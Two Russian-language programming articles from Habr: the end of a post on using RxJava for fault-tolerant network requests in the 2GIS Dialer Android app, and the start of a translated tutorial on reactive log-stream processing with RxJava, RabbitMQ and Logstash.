//снова ставим обработчик ошибки
//и вернем предустановленный "ошибочный" json
.onErrorReturn(new Func1() {
@Override
public JSONObject call(Throwable throwable) {
return jsonObjectForErrors;
}
})
//процедура, вызывающаяся при каждом onNext(..) от Observable
.doOnNext(new Action1() {
@Override
public void call(JSONObject jsonObject) {
lruCache.cacheJson(jsonObject);
}
});
```
Снова немного отрефакторим код:
```
final Subscription subscription =
createApiRequestObservable() //создали Observable с запросом
.timeout(TIMEOUT_IN_SECONDS, TimeUnit.SECONDS) //поставили таймаут
.retry(RETRY_COUNT_FOR_REQUEST) //поставили кол-во повторов
.onErrorResumeNext(createRequestErrorHandler()) // назначили обработчик ошибки
.map(createJsonMapOperator()) //модифицировали Observable, чтобы получать JSONObject
.onErrorReturn(createJsonErrorHandler()) //возвращаем в случае ошибки то, что ожидаем
.doOnNext(createCacheOperation()); //кэшируем JSONObject
```
Мы почти закончили. Как в самом первом примере с RxJava, добавим обработчик результата и укажем треды, в которых надо исполняться.
Финальная версия:
```
final Subscription subscription =
createApiRequestObservable() //создали Observable с запросом
.timeout(TIMEOUT_IN_SECONDS, TimeUnit.SECONDS) //поставили таймаут
.retry(RETRY_COUNT_FOR_REQUEST) //поставили кол-во повторов
.onErrorResumeNext(createRequestErrorHandler()) // назначили обработчик ошибки
.map(createJsonMapOperator()) //модифицировали Observable, чтобы получать JSONObject
.onErrorReturn(createJsonErrorHandler()) //возвращаем в случае ошибки то, что ожидаем
.doOnNext(createCacheOperation()); //кэшируем JSONObject
.subscribeOn(Schedulers.newThread()) //делаем запрос, преобразование, кэширование в отдельном потоке
.observeOn(AndroidSchedulers.mainThread()) // обработка результата - в main thread
.subscribe(subscriber); //обработчик результата
```
Давайте посмотрим, чего мы тут добились:
1. Принцип **отказоустойчивости** в действии: результат выполнения всех операций всегда предсказуем. Мы знаем обо всех ошибках и потенциально проблемных местах, которые могут возникнуть в коде, и уже обработали их. Никаких исключений не будет.
2. Принцип **отзывчивости** в действии: соединение с базой или сервером не зависнет благодаря таймауту, попытается сам восстановиться при ошибке и, что тоже важно, вернет результат сразу, до кэширования. А кэширование в `doOnNext` выполнится параллельно обработке результата.
3. Принцип **ориентированности на события** в действии: по ходу выполнения запроса и парсинга, мы всегда реагируем на события — события успешного/неуспешного завершения запроса, событие окончания парсинга json (2 реакции: обработка в UI и обработка в бэкграунд трэде для кэширования) и т.д. Кроме того, можно несколько раз подписываться на один `Observable` и держать в консистентном состоянии всю систему.
4. Код легко расширяем и почти не требует изменений. Если нам необходимо сделать логирование ошибки или сохранение стэктрейс, можно добавить метод `doOnError(Throwable thr)`. Хотите отфильтровать результаты — добавьте оператор `filter` и реализуйте его поведение.
Как и недостатки AsyncTask’ов, преимущества этого подхода, на мой взгляд, можно перечислять очень долго. Последний из принципов реактивного программирования, принцип масштабируемости, продемонстрируем ниже.
#### RxJava в 2GIS Dialer
Живой пример:
```
//создаем новый Observable путем комбинирования четырех других
final Observable obs = Observable.combineLatest(
createContactsObservable(context), //Observable для получения контактов из базы
createPhonesObservable(context), //Observable для получения всех телефонов контактов
createAccountsObservable(context), //Observable для полуения аккаунтов и контактов по ним
createJobsObservable(context), //Observable для получения мест работы контактов
contactsInfoCombinator() //функция комбинироваия результатов всех Observable выше
).onErrorReturn(createEmptyObservable()).cache() //обработчик ошибки и оператор кэширования
.subscribeOn(Schedulers.executor(ThreadPoolHolder.getGeneralExecutor())) //для выполнения такой задачи потребуется тред пул
.observeOn(AndroidSchedulers.mainThread()); // обработка данных как всегда - в main thread
```
1. Тут происходит сразу много интересного и посложнее описанного выше:
Первое, что бросается в глаза, это `Observable.combineLatest(...)`. Этот оператор ждет `onNext(...)` от всех переданных ему `Observable`’ов и применяет функцию комбинирования сразу ко всем результатам. Может показаться сложным, но [картинка](https://github.com/Netflix/RxJava/wiki/images/rx-operators/combineLatest.png) из вики RxJava сделает всё понятнее. Самое важное тут, что каждый из `Observable`, переданных в `Observable.combineLatest(...)` — это `CursorObservable`, который передает в свой `onNext(...)` новый курсор, как только он меняется в базе данных. Таким образом, на любое обновление любого из четырех курсоров выполняется функция комбинирования, что позволяет всегда поставлять самые свежие данные. Это и есть принцип ориентированности на события.
2. Если что-то пошло не так, то мы исходя из своих нужд возвращаем требуемое. В данном случае `Collections.emptyList();`
3. Оператор `cache()` очень полезен, если на этот `Observable` могут быть подписаны сразу несколько `Subscribers`. Если этот оператор применен к `Observable`, то новый его подписчик мгновенно получает данные, при условии, что эти данные уже были посчитаны для подписавшихся ранее. Таким образом, все желающие имеет актуальные одинаковые данные.
4. А вот тут видно принцип масштабируемости: в `subscribeOn(...)` я отдаю тред пул на 4 треда, чтобы каждый из 4х моих `Observable` выполнялся в отдельном треде с целью максимизации скорости, всю остальную заботу берет на себя RxJava. То есть задействованы будут все 4 процессора, при наличие оных.
Как видите, потенциал у реактивного программирования огромный, а фукнционал RxJava реализует его в достаточной мере.
#### Проблемы, с которыми мы столкнулись
Всё, продемонстрированное выше и намного больше в том или ином виде используется у нас в дайлере. И вот с какими проблемами мы столкнулись:
* Проблема OOM. Наивно полагать, что Android может дать много тредов для многопоточной работы. При количестве тредов больше 15, даже топовые смартфоны начинали “задумываться”, а их мелкие собратья и вовсе падали с `OutOfMemoryError`. Решение было простым. Ввести `CachedThreadPool` для этих дел и проблема решена.
* Кэширование запросов. Речь не про оператор `cache()` из примера выше. Хотелось бы, чтобы следующий запрос на тот же самый url сразу брался из кэша. В RxJava такого нет. В принципе это правильно, потому что реактивность и кэш — две разные вещи. Поэтому мы написали свой кэш.
#### Что еще?
Мы увидели, как классно реактивно работать с многопоточностью и запросами в Android. Но это далеко не всё. Например, можно подписываться на изменение `Checkable` или `EditText` (это из коробки идет в RxJava для Android). Тут всё просто, но ужасно удобно.
Кстати, одной RxJava реактивное программирование под Java не ограничивается. Существуют и другие библиотеки, например, [Bolts-Android](https://github.com/BoltsFramework/Bolts-Android).
Кроме этого, сейчас активно разрабатывается [Reactive-Streams](http://www.reactive-streams.org/), который призван унифицировать работу с разными реактивными провайдерами в java.
#### Вывод
Понравилось ли нам? Однозначно. Реактивные приложения действительно гораздо устойчивее к багам и падениям, код становится понятным и гибким (были бы лямбды — был бы еще и красивым). Много рутинной работы перекладывается на библиотеку, которая выполняет свою работу лучше, чем нативные Android-компоненты. Это позволяет сосредоточиться на реализации вещей, которые действительно стоит обдумать.
Реактивное программирование — это немного другое мышление по сравнению с традиционной разработкой под Android. Потоки данных, функциональные операторы — эти сложные, на первый взгляд, вещи оказываются намного проще, если разобраться. Стоит немного поработать с реактивным программированием, и мозг начинает перестраиваться с объектов и состояний на монады и операторы над ними. Это такая большая, добрая, мощная частичка ФП в ООП, которая делает жизнь и код проще, а приложение лучше. Попробуйте, не пожалеете.
Ссылки, которые помогут вам разобраться с реактивным программированием или просто могут оказаться интересными:
* [Википедия RxJava.](https://github.com/Netflix/RxJava/wiki)
* [Очень толковая статья](http://mttkay.github.io/blog/2013/08/25/functional-reactive-programming-on-android-with-rxjava/) от ведущего программиста SoundHound и евангелиста RxJava под Android.
* [Реактивный манифест.](http://www.reactivemanifesto.org/)
* [Reactive-Streams.](http://www.reactive-streams.org/)
Небольшое отступление. Если вы разделяете наши взгляды на программирование и создание продуктов, то [приходите](http://job.2gis.ru/vacancy/novosibirsk/id/695/) — будем рады вас видеть в команде 2GIS Dialer. | https://habr.com/ru/post/228125/ | null | ru | null |
# Реактивная обработка стрима логов с RxJava — Часть 1
***[Reactive log stream processing with RxJava — Part l](https://balamaci.ro/reactive-log-processing/)***
В предыдущем посте автор рассматривал случаи использования [ELK](http://www.elasticsearch.org/) стека и сбора логов.
С учетом движения в сторону микросервисов и контейнеризации приложений, централизованная обработка логов и их хранение становится де-факто **стандартом**.
Может быть, нам стоит попробовать сделать следующий шаг и более активно использовать полученную информацию для того, чтобы находить причины ряда проблем задолго до их появления.\*
*Сноска — стримы и потоки данных в данном переводе являются взаимозаменяемыми словами.* *Также слово лог может означать журнал, хотя в большинстве случаев в тексте мы используем иное значение*
Если бы **мы рассматривали лог событий как поток данных того, что происходит в реальном времени** в вашей системе, было бы очень интересно **анализировать в реальном времени данные** и все возможные варианты их использования, к примеру, **обнаружить мошенническое поведение**, с помощью агрегирования различных потоков информации непосредственно во время *"атаки"*, и сразу же заблокировать атакующего вместо того, чтобы *"традиционно"* собирать лог данных и заниматься расследованием уже после возникновения инцидента.
Или другой пример, мы можем отфильтровать (***filter***) только те события, которые соответствуют определенному типу событий, сгруппировать (***group by***) их по общему ключу как userID и вычислить общее количество во временном окне, получив количество событий данного типа, которые пользователь совершает в определенный период времени.
```
failedLogStream()
.window(5,TimeUnit.SECONDS)
.flatMap(window ->
window
.groupBy(propertyStringValue("remoteIP"))
.flatMap(grouped -> grouped
.count()
.map( failedLoginsCount -> {
final String remoteIp = grouped.getKey();
return new Pair<>(remoteIp, failedLoginsCount);
}))
)
.filter(pair -> pair.get > 10)
.forEach(System.out::println);
```
Мы можем инициировать запросы и в других системах и работать с их ответами как с потоками данных, на которые мы можем подписаться и применить ***несколько привычных операторов для работы со стримами*** (потоками данных), которые представлены во фреймворках ***reactive streams*** (реактивных стримов).
### Учим новую парадигму разработки
Хорошо бы разобрать, что такое ***реактивное программирование стримов***, для этого нам нет необходимости разворачивать что-то большое, такое как [Kafka](https://www.confluent.io/blog/introducing-kafka-streams-stream-processing-made-simple/) [Streams Spark](https://spark.apache.org/docs/latest/streaming-programming-guide.html) or [Flink](https://flink.apache.org/).
Реактивное программирование — это **неблокирующие** приложения, управляемые **событиями**, которые масштабируются даже при небольшом числе потоков с противодействием нагрузке (механизм обратной связи, при котором количество данных от производителей не превышает число данных принимаемых потребителями).
Самой большой темой, которую **принесет Spring5**, будет **[поддержка Реактивного программирования](https://spring.io/blog/2016/04/19/understanding-reactive-types)**. Новый модуль **[spring-web-reactive](https://github.com/spring-projects/spring-framework/tree/master/spring-web-reactive)** — фреймворк, похожий на **spring-web-mvc**, который позволит отдавать асинхронные (неблокирующие) ответы для REST сервисов и реактивный веб-клиент, из чего следует возможность применения данного решение для микросервисной архитектуры. Концепция реактивных стримов не специфична для Spring, поскольку существует общая спецификация [reactive-streams-jvm](https://github.com/reactive-streams/reactive-streams-jvm), согласованная большинством реактивных фреймворков (пока для нее, может быть, и не существует идентичного наименования, но концепция должна быть достаточно простой, чтобы стать заменой фреймворкам).
Исторически модель ***реактивные потоки*** была представлена Rx.NET, а затем при помощи Netflix портирована на java, получив название RxJava. В то же время концепция был также успешно реализована и в других языках, под названием Реактивные расширения (**[Reactive EXtensions](http://reactivex.io/)**). С тех пор компании движутся в том же направлении, что и спецификация реактивных стримов. Сейчас **RxJava**, поскольку он был первопроходцем, нуждается в значительном *рефакторинге*(переписании кода) — соответственно, версия 2.х лучше соответствует спецификации, и, пока Spring reactor еще новичок, компании не составит труда переписать реализацию согласно спецификации. Рекомендуем прочитать больше о том как они взаимосвязаны.
Doug Lea сообщил, что хочет включить реактивные потоки в состав объекта java.util.concurrent.Flow, а это значит, что реактивные стримы будут поставляться в составе **Java 9**.
### Преимущества с точки зрения производительности
Также другим модным словом сейчас является микросервисная архитектура с обязательной возможностью делать запросы на множество разных сервисов. В идеале, лучше всего выполнять неблокирующие запросы, не ожидая для выполнения следующего запроса получение ответа целиком. Подумайте, вместо того чтобы ждать момента, когда какой-нибудь сервис вернет вам большой список результатов, возможно, стоит в то же время при получении первого фрагмента отправлять новый запрос в другую систему.
Если рассматривать ответ от удаленного запрос как Stream (Стрим-поток данных), подписка на который запускает action (действие) при получении ответа, то вместо блокировки потока, ожидающего свой ответ, мы можем воспользоваться меньшим числом потоков в целом, что, в свою очередь, уменьшит затраты ресурсов (к примеру, процессорное время для переключения контекста между потоками и памяти для каждого стека потоков).
Таким образом, использование реактивного программирования позволит нам на стандартном железе обработать больше логов событий, чем обычно.
Пример: сервису, такому как Gmail, нужно отображать пользовательские почтовые сообщения (emails). Тем не менее, emails, в свою очередь, могут иметь множество людей в копии (CC). Было бы прикольно отобразить фотографию для тех пользователей, которые находятся в твоих контактах, что означает вызов REST — ContactService.
Получится вот так:
```
Future> emailsFuture = mailstoreService.getUnreadEmails();
List emails = emailsFuture.get(); //блокировка текущего потока
//возможно долгое ожидание, пока не будет получен полный список данных
//можно ли запустить следующий процесс, как только первый фрагмент будет получен?
Future> contacts = getContactsForEmails(emails);
for(Mail mail : emails) {
streamRenderEmails(mail, contacts); //push(отправить) emails клиенту
}
```
Частично проблема была решена с приходом поддержки реактивного программирования в Java 8 с CompletableFuture (со своими thenCompose, thenCombine, thenAccept и еще 50 методами, хотя это не отменяет того факта, что нужно помнить все, что они делают, а это никак не помогает в прочтении кода).
```
CompletableFuture> emailsFuture = mailstoreService.getUnreadEmails();
CompletableFuture> emailsFuture
.thenCompose(emails -> getContactsForEmails(emails)) //нам все еще нужно ожидать List
.thenAccept(emailsContactsPair -> streamRenderEmails(emailsContactsPair.getKey(), emailsContactsPair.getValue()))
```
Мы можем переключиться на Iterator вместо List-а, и в тоже время не существует методов, говорящих выполнить какое-либо действие при появлении новых значений. В SQL есть такая возможность, к примеру, ResultSet (в котором вы можете выполнить rs.next()) вместо загрузки всех данных в память.
```
public interface Iterator {
/\*\*
\* Возвращает {@code true}, если в итерации больше элементов.
\*/
boolean hasNext();
/\*\*
\* Возвращает следующий элемент итерации.
\*/
E next();
}
```
Но нам все еще нужно постоянно спрашивать "а у тебя есть новое значение?"
```
Iterable emails = mailstoreService.getUnreadEmails();
Iterator emailsIt = emails.iterator();
while(emailsIt.hasNext()) {
Mail mail = emailsIt.next(); //неблокирующее действие все равно тратит много процессорного времени на получение новых значений
if(mail != null) {
....
}
}
```
Что нам нужно, так это реактивный итератор, такой тип данных, который сможет подписаться и выполнить действие, как только получено новое значение. Именно здесь начинается reactive stream programming (реактивное программирование стримов).
### Так что же такое Stream?
Stream по-простому это **последовательность упорядоченных во времени событий** (событиеX происходит после событияY, так что **события не конкурируют между собой**).
Stream смоделирован так, что выпускает **0..N** событий и **одну из двух терминальных операций**:
* событие **завершения**, через которое подписчикам сообщается, что выпуск данных окончен
* событие об **ошибке**, информирующее об окончании стрима с ошибкой (исключением)
Мы можем описать это визуально с помощью '*marble diagrams*'.
Таким образом мы можем представить, что Stream-ом является все, а не только лог событий. Даже единичное значение может быть выражено как Стрим, выпускающий значение, за которым следует **событие о завершении.**
Бесконечный стрим — стрим, который выпускает события, но без единого терминального события(завершения | ошибки).
RxJava определяет **Observable** (Наблюдаемый) тип данных для моделирования Stream-а событий типа . В Spring Reactor-е он равен типу [Flux](https://projectreactor.io/core/docs/api/reactor/core/publisher/Flux.html).
Observable представляет собой stream температур, взятых с различными интервалами.
Observable представляет собой stream продуктов, купленных в нашем веб магазине.
Observable представляет собой одного пользователя (User), вернувшегося по запросу к БД.
```
public Observable findByUserId(String userId) {...}
//пусть будет Single для большей наглядности
public Single findByUserId(String userId) {...}
```
Но **Observable это просто тип данных, поэтому, как и в случае с шаблоном проектирования Publish/Subscriber (Публикации/Подписчика), нам нужен Subscriber(Подписчик) чтобы обработать 3 типа событий**
```
Observable cartItemsStream = ...;
Subscriber subscriber = new Subscriber() {
@Override
public void onNext(CartItem cartItem) {
System.out.println("Cart Item added " + cartItem);
}
@Override
public void onCompleted() {
}
@Override
public void onError(Throwable e) {
e.printStackTrace();
}
};
cartItemsStream.subscribe(subscriber);
```
### Реактивные операторы
Но это просто часть Stream-a, а до сих пор мы не применяли ничего необычного, только классический шаблон проектирования Observer (Наблюдатель).
Reactive (Реактивная) же часть означает, что мы можем определить некоторые Function (операторы — функции), которые будут выполнены, когда stream запустит событие.
Это значит, что будет создан другой stream (стримы **immutable**), на который мы можем подписать другой оператор и т.д.
```
Observable filteredCartStream = cartStream.filter(new Func1() {
@Override
public Boolean call(CartItem cartItem) {
return cartItem.isLaptop();
}
});
Observable laptopCartItemsPriceStream = filteredCartStream.map(new Func1() {
@Override
public Long call(CartItem cartItem) {
try {
return priceService.getPrice(cartItem.getId());
} catch(PriceServiceException e) {
thrown new RuntimeException(e);
}
}
});
```
Поскольку операторы (методы) класса Observable (filter, map, groupBy,...) возвращают Observable, это значит, что мы можем использовать цепочку из операторов, чтобы объединить их с лямбда синтаксисом и написать что-нибудь красивое.
```
Observable priceStream = cartStream
.filter((cartItem) -> cartItem.isLaptop()).
.map((laptop) -> {
try {
return priceService.getPrice(cartItem.getId());
} catch(PriceServiceException e) {
thrown new RuntimeException(e);
}
});
```
Обратите внимание, что выше, когда создается `priceStream`, ничего не происходит — `priceService.getPrice()` не вызывается, пока нет элемента, проходящего по цепочке операторов. Это означает, что мы создали через rx-оператор подобие плана, как управляемые данные будут спускаться вниз по цепочке(подписание регистрируется).
Когда просят объяснить реактивное программирование, обычно в шутку дают пример с Excel листами, где в колонках написаны формулы, вызываемые при обновлении ячейки, что, в свою очередь, обновляет другую ячейку, которая, в свою очередь, обновляет другую и так далее по цепочке.
Прямо как rx-operator, который ничего не делает, эти формулы просто управляют данными и каждая из них получает свой шанс сделать что-то до того момента, как данные спустились вниз по цепочке.
Чтобы лучше понимать, как события путешествуют вместе с цепочкой операторов, я нашел полезную аналогию, в примере с переездом из одного дома в другой, грузчики выступают в роли операторов, вместе с которым перемещаются вещи из вашего дома — так это изобразил Томас Нильд.
Его пример с кодом:
```
Observable mover1 = Observable.create(s -> {
while (house.hasItems()) {
s.onNext(house.getItem());
}
s.onCompleted();
});
Observable mover2 = mover1.map(item -> putInBox(item));
Subscription mover3 = mover2.subscribe(box -> putInTruck(box),
() -> closeTruck()); //это сработает на событие OnCompleted()
```
"Грузчик 1 с одной стороны источник `Observable`. Он создает выбросы за счет того, что выносит вещи из дома. Он вызывает Грузчика 2 с методом `onNext()`, который выполняет `map()` операцию. Когда его метод `onNext()` вызван, он берет вещь и перекладывает в коробку. Затем он вызывает Грузчика 3, конечного `Subscriber`(подписчика), с методом `onNext()`, который грузит коробку в машину."
Магия RxJava — это большой набор доступных операторов, ваша же работа заключается в комбинировании их всех вместе для управления течением данных.
Множество Stream операторов помогают составить словарь терминов для обозначения действий, производимых со стримами, которые могут быть реализованы в популярных языках (RxJava, RxJS, Rx.NET, etc) из числа ReactiveX framework (Реактивных расширений).
Эти понятия надо знать даже при использовании различных фреймворков для работы с реактивными стримами, таких как Spring Reactor (в надежде на наличие неких операторов, общих для этих фреймворков).
Пока что мы видели только простые операторы, такие как фильтрация:
Которые только пропускают элементы, попадающие под условие фильтра (один грузчик перенесет только те вещи, которые стоят меньше 100$, вместо того, чтобы передать сразу все другому грузчику)
Однако есть операторы, которые могут разбить стрим на множество отдельных стримов — `Observable>`(Стрим стримов) — это такие операторы, как `groupBy`
```
Observable values = Observable.just(1,4,5,7,8,9,10);
Observable> oddEvenStream = values.groupBy((number) -> number % 2 == 0 ? "odd":"even");
Observable remergedStream = Observable.concat(oddEvenStream);
remergedStream.subscribe(number -> System.out.print(number +" "));
```
```
//Выводит
//1 5 7 9 4 8 10
```
и достаточно простой оператор `concat`, который снова из четных и нечетных стримов создает один-единственный стрим, и устанавливает на него подписку.
Мы видим, что оператор `concat` ожидает завершения стрима перед тем, как добавить еще один, снова создавая один стрим. Таким образом, нечетные числа отображаются первыми.
Также у нас есть возможность скомбинировать вместе множество stream-ов, как, например, это делает `zip` оператор
`Zip` назван так не потому, что он работает как архиватор, но скорее из-за то, что он, как молния (на куртке), комбинирует события из двух stream-ов.
Он берет одно событие из одного stream-а и соединяет с событием из другого (делая пару). Как только это выполнено, он применяет оператор склеивания, перед тем, как спуститься дальше по цепочке.
*PS:* это работает и для большего количества stream-ов.
Так что, даже если один stream выпускает события быстрее, то дальше слушатель увидит только скомбинированное событие, которое выпустится из более медленного stream-а.
Иметь возможность **"ждать"** ответа от множества удаленных вызовов, которые мы получаем от stream-ов, на самом деле очень полезно.
С другой стороны, оператор `combineLatest` не ожидает выпуска пары событий, но вместо этого, использует последние выпущенные события из более медленного stream-а, до применения функции склейки и передачи его дальше по цепочки.
### Движемся к мышлению на основе Push подхода
Давайте рассмотрим несколько примеров, как на самом деле создают `Observable`s. Наиболее длинный вариант создания:
```
log("Before create Observable");
Observable someIntStream = Observable
.create(new ObservableOnSubscribe() {
@Override
public void subscribe(ObservableEmitter emitter) throws Exception {
log("Create");
emitter.onNext(3);
emitter.onNext(4);
emitter.onNext(5);
emitter.onComplete();
log("Completed");
}
});
log("After create Observable");
log("Subscribing 1st");
someIntStream.subscribe((val) -> LOGGER.info("received " + val));
//мы можем опустить реализацию
//другие методы(for onError and onComplete) если мы ее хотим сделать, что-то особенное
log("Subscribing 2nd");
someIntStream.subscribe((val) -> LOGGER.info("received " + val));
```
**События посылаются подписчику, как только тот подписался**.
Не то, что мы пользуемся такой конструкцией, просто мы передали новый объект `ObservableOnSubscribe`, который демонстрирует, что делать, когда на него кто-нибудь подписывается.
Пока мы не подписались на `Observable`, выходных данных нет и ничего не происходит, данные не движутся.
Когда кто-то подписывается, вызывается метод `call()` и 3 сообщения проталкиваются вниз по цепочке, следом за ними идет сигнал, что stream завершился.
Выше мы дважды подписались, код внутри метода `call(...)` также будет вызван дважды. Так что он эффективно переотправляет те же значения, как только кто-нибудь еще подпишется и тогда получит следующие значения на вывод:
```
mainThread: Before create Observable
mainThread: After create Observable
mainThread: Subscribing 1st
mainThread: Create
mainThread: received 3
mainThread: received 4
mainThread: received 5
mainThread: Completed
mainThread: Subscribing 2nd
mainThread: Create
mainThread: received 3
mainThread: received 4
mainThread: received 5
mainThread: Completed
```
Важно заметить, что rx операторы не обязательно означают многопоточность. **RxJava** не внедряет конкурентность по умолчанию между **Observable** и **Subscriber**. Поэтому все вызовы происходят на "**главном**" потоке.
Такой тип `Observable`, которые начинают распространение, когда кто-нибудь подписан называются **`cold observables`**(холодные наблюдатели). Другой вид — **`hot observables`**(горячие наблюдатели), они могут выпускать события, даже когда никто не подписан на них.
* `Cold Observables` начинают распространять события только когда кто-то подписывается. Каждый подписчик получает одни и те же события. Например, **как CD на котором играют одни и те же песни** для того, кто включил cd в плеер послушать.
* `Hot Observables` события распространяются даже когда на них еще никто не подписался. **Как радиостанция которая проигрывает песни через радиовещание, даже когда никто его не включал**. И так же, как при включении радиоприемника, ты пропускаешь предшествующие события. *Hot observable* моделирует события, распространением которых вы не можете управлять. Примерно как в случае записи событий в журнал (лог событий).
`Subjects` это такой специальный вид `Observable`, который также является `Observer` (как `Subscriber` — который решает, что он может протолкнуть данные (вызовом `onNext()`) до них) и сделает реализацию горячих `Observables` проще. Также существует множество реализаций, подобных `ReplaySubject`, которые сохраняют выделенные события в буфере и воспроизводят их по подписке (конечно, можно указать размер буфера, чтобы предотвратить ошибку `OutOfMemory`), пока `PublishSubject` только пропускает события, которые случились после подписания.
И конечно, существует множество статических методов для создания `Observables` и из других источников.
```
Observable.just("This", "is", "something")
Observable.from(Iterable collection)
Observable.from(Future future) - передает значение после того, как `future` выполнится
```
### Добавление в наш ELK-стек RabbitMQ эмиттера данных, отправляемых посредством push
По традиции, работая со стеком ELK, мы используем ElasticSearch чтобы запросить данные по логу событий, так что можно сказать, что они в опрашивающем стиле 'pull-based'.
Можем ли вместо этого иметь push-based, где мы собираемся информировать 'незамедлительно' при появлении события в журнале, чтобы дальше уменьшить время реагирования на событие, с того момента как оно произошло и до того как мы начнем его обрабатывать.
Одним из множества возможных решение может стать **RabbitMq**, как бывалое в сражениях решение с очень хорошей репутацией за его производительность, за его возможность обработки огромного числа сообщений. Несмотря на это **Logstash** уже поддерживает плагин для **RabbitMQ** (также есть еще один плагин для FluentD) так что мы можем с легкостью интегрировать его в наш существующий ELK стек и записывать логи в ElasticSearch и RabbitMQ.
Возможно вы помните, что **Logstash** может вести себя как контроллер, и выбирать как ему работать, и куда отправлять/сохранять логируемые событий. Это значит что мы можем отфильтровать те события, которые хотим обработать или указать куда их послать, например, в другие RabbitMQ очереди.
Существует даже возможность напрямую отправлять данные в **RabbitMQ** через Logback Appender, если вам захочется опустить использование **Logstash**.
К слову сказать: Пока так называемый `AmqpAppender`, является скорее специфичной реализацией **RabbitMQ AMQP** (с версией протокола AMQP 0-9-1, 0-9).
ActiveMQ для примера (пока тоже поддерживает AMQP connector) кажется реализует протокол версии AMQP 1.0, пока spring-amqp библиотека с протоколом версий 0-9-1, 0-9, которые совсем отличаются от 1.0), так что вы может столкнетесь с ошибками по типу `'org.apache.activemq.transport.amqp.AmqpProtocolException: Connection from client using unsupported AMQP attempted'`
Однако наше решение было чтобы использовать **logstash-logback-encoder** и отправлять отформатированный JSON с журналом событий в **Logstash**. Мы перенаправим logstash вывод на точку обмена RabbitMQ (exchange).
Мы будем использовать *docker-compose*, чтобы запустить кластер ***logstash-rabbitmq***
Вы можете склонировать репозиторий
`docker-compose -f docker-compose-rabbitmq.yml up`
и затем вы можете использовать
`./event-generate.sh`
чтобы сгенерировать некоторое число случайных событий которые будут отправлены на **logstash**.
Для того, чтобы определить, куда отправлять данные, используйте [файл](https://github.com/balamaci/blog-elk-docker/blob/rabbitmq/logstash/config-rabbitmq/logstash.conf) настроек **logstash**. Мы используем [rabbitmq-output-plugin](https://www.elastic.co/guide/en/logstash/current/plugins-outputs-rabbitmq.html), как ссылку:
```
output {
rabbitmq {
exchange => logstash
exchange_type => direct
host => rabbitmq
key => my_app
}
}
```
RabbitMQ это не классический JMS сервер, вместо этого он использует AMQP протокол, который имеет весьма отличную от остальных концепцию для очередей.
Издатель отправляет сообщения на именованную точку обмена (exchange) и потребитель забирает сообщения из очереди.
У сообщения есть стандартный заголовок 'routing-key', который используется в процессе называемом ассоциативным привязкой, чтобы связать обмен сообщениями в очереди. Очереди могут фильтровать какие сообщения они получают через ключ привязки, и к тому же можно использовать подставленные знаки в привязке как эти '**logstash.**'
Для более подробного объяснения `AMQP` вы можете прочитать [здесь](https://spring.io/blog/2010/06/14/understanding-amqp-the-protocol-used-by-rabbitmq/) и [тут](https://www.cloudamqp.com/blog/2015-09-03-part4-rabbitmq-for-beginners-exchanges-routing-keys-bindings.html). Так мы настроили `Spring` соединение c `RabbitMq`
```
@Bean
ConnectionFactory connectionFactory() {
return new CachingConnectionFactory(host, port);
}
@Bean
RabbitAdmin rabbitAdmin() {
RabbitAdmin rabbitAdmin = new RabbitAdmin(connectionFactory());
rabbitAdmin.declareQueue(queue());
rabbitAdmin.declareBinding(bindQueueFromExchange(queue(), exchange()));
return rabbitAdmin;
}
@Bean
SimpleMessageListenerContainer container(ConnectionFactory connectionFactory, MessageListenerAdapter listenerAdapter) {
SimpleMessageListenerContainer container = new SimpleMessageListenerContainer();
container.setConnectionFactory(connectionFactory);
container.setQueueNames(queueName);
container.setMessageListener(listenerAdapter);
return container;
}
@Bean
Queue queue() {
return new Queue(queueName, false);
}
DirectExchange exchange() {
return new DirectExchange("logstash");
}
private Binding bindQueueFromExchange(Queue queue, DirectExchange exchange) {
return BindingBuilder.bind(queue).to(exchange).with("my_app");
}
@Bean
MessageListenerAdapter listenerAdapter(Receiver receiver) {
MessageListenerAdapter messageListenerAdapter = new MessageListenerAdapter(receiver,
new MessageConverter() {
public Message toMessage(Object o, MessageProperties messageProperties)
throws MessageConversionException {
throw new RuntimeException("Unsupported");
}
public String fromMessage(Message message) throws MessageConversionException {
try {
return new String(message.getBody(), "UTF-8");
} catch (UnsupportedEncodingException e) {
throw new RuntimeException("UnsupportedEncodingException");
}
}
});
messageListenerAdapter.setDefaultListenerMethod("receive"); //the method in our Receiver class
return messageListenerAdapter;
}
@Bean
Receiver receiver() {
return new Receiver();
}
```
Мы определили очередь и связываем с сервисом обмена 'logstash', чтобы принять сообщения с ключем маршрутизации 'my\_app'. **MessageListenerAdapter** выше определяет, что метод 'receive' должен быть вызван на бине `Receiver` каждый раз, когда новое сообщение приходит из очереди.
Поскольку мы ожидаем непрерывный поток в лог событий, мы не имеем над ним контроль, мы можем подумать об использовании `hot observable`, которые распространяют события всем подписчикам после того, как они подписались, так что мы используем для работы **PublishSubject**.
```
public class Receiver {
private PublishSubject publishSubject = PublishSubject.create();
public Receiver() {
}
/\*\*
\* Method invoked by Spring whenever a new message arrives
\* @param message amqp message
\*/
public void receive(Object message) {
log.info("Received remote message {}", message);
JsonElement remoteJsonElement = gson.fromJson ((String) message, JsonElement.class);
JsonObject jsonObj = remoteJsonElement.getAsJsonObject();
publishSubject.onNext(jsonObj);
}
public PublishSubject getPublishSubject() {
return publishSubject;
}
}
```
Мы должны знать, что событие **SimpleMessageListenerContainer** поддерживает наличие более одного потока, который потребляет из очереди (и пропускает события вниз по цепочки). Однако контракт Observable говорит, что мы не можем выделять события конкурентно (вызовы `onNext`,`onComplete`, onError должны быть сериализованы):
```
// ТАК ДЕЛАТЬ НЕ НАДО
Observable.create(s -> {
// Thread A
new Thread(() -> {
s.onNext("one");
s.onNext("two");
}).start();
// Thread B
new Thread(() -> {
s.onNext("three");
s.onNext("four");
}).start();
});
// ТАК ДЕЛАТЬ НЕ НАДО
//ДЕЛАЙТЕ ТАК
Observable obs1 = Observable.create(s -> {
// Thread A
new Thread(() -> {
s.onNext("one");
s.onNext("two");
}).start();
});
Observable obs2 = Observable.create(s -> {
// Thread B
new Thread(() -> {
s.onNext("three");
s.onNext("four");
}).start();
});
Observable c = Observable.merge(obs1, obs2);
```
Мы можем обойти эту проблему вызывая `Observable.serialize()` или `Subject.toSerialized()`, но мы остаемся со значение по умолчанию 1 `Thread` в `ListenerContainer`, нет необходимости делать это. Еще вы должны быть в курсе того, что если вы планируете использовать `Subjects` как шину событий, распространяющихся на несколько потоков. Прочитайте [подробное объяснение](https://artemzin.com/blog/rxjava-thread-safety-of-operators-and-subjects/).
